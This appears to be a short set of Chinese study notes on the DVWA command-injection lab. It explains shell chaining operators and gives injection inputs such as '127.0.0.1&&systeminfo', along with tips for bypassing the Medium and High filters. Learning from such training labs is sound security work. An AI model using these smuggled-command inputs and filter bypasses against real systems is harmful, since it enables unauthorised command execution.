dvwa 命令注入

首先解决乱码问题

将该文件中的utf-8改为gb2312

2.基础知识

a && （ and）cmd1&&cmd2 ：cmd1执行成功后才会执行cmd2，否则不执行

b & （命令分割符） cmd1&cmd2 ： 两个命令都执行

c | （管道符） cmd|cmd2 ： 将cmd1的输出作为cmd2的输出 ，且只执行cmd2

d || cmd1||cmd2 ：cmd1失败才会执行cmd2

Ipconfig 查看本地网络

Net user 查看系统用户

Dir 查看当前目录

Find 查找包含指定字符的行

Whoami 查看系统当前有效用户名

LOW

127.0.0.1&&systeminfo

127.0.0.1&&dir

127.0.0.1&&ipconfig

Medium

使用&；&可以绕过，也可以使用其他符号

High

发现其对“| ”进行过滤，没有对“|”进行过滤 可以使用“|”